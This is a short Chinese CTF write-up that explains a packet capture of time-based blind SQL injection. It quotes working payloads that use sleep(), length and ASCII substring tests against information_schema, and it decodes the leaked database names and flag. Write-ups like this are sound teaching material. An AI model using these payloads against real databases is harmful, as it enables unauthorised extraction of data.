ctf-MISC-blind_injection2

题目链接:跳转提示

 用wireshark打开文件,联系题目名字发现这是一个基于时间延迟的SQL注入,

其中,

id=1 and if((select count(*) from information_schema.schemata)=2,sleep(1),0)--+ 

information_schema.schemata——所有数据库名

select count(*) from information_schema.schemata——计算数据库数量

所以上面那句话的意思是,如果数据库数量为2,则休眠一秒,即观察response时间与请求时间之间的时间延迟,就可以判段出数据库数量

可见总共有6个数据库

?id=1 and if((select length(concat(schema_name)) from information_schema.schemata limit 0,1)=1,sleep(0.4),0)--+ 

该语句含义是判断第一个(limit 0,1)数据库的名字长度是否为1,若是则时间延迟0.4秒,否则无延迟,因此:

 可见第一个数据库名长度有18字节

id=1 and if(ascii(substr((select%20schema_name%20from%20information_schema.schemata%20limit%200,1),1,1))%20%3C%20126,sleep(0.4),0)--+

%3C解码是<

%3E解码是>

这句话的含义是,判断第一个数据库名的第一个字符的ASCII值是否<126,如果是,则时间延迟0.4秒

这道题利用这种方法来找出数据库全部名称,当出现<>某个ASCII值时,意味着=

如:

,如此,可以推出数据库名有:
 

s1=[105,110,102,111,114,109,97,116,105,111,110,95,115,99,104,101,109,97]
s2=[99,104,97,108,108,101,110,103,101,115] 
s3=[102,108,97,103,95,56,97,102,56,101,48,51,99,54,56,57,50,52,55,54,102,56,52,100,49,101,51,52,55,49,56,55,98,50,52,52,57]

第三个数据库名称即出现flag值

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

榴莲 蛋挞

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值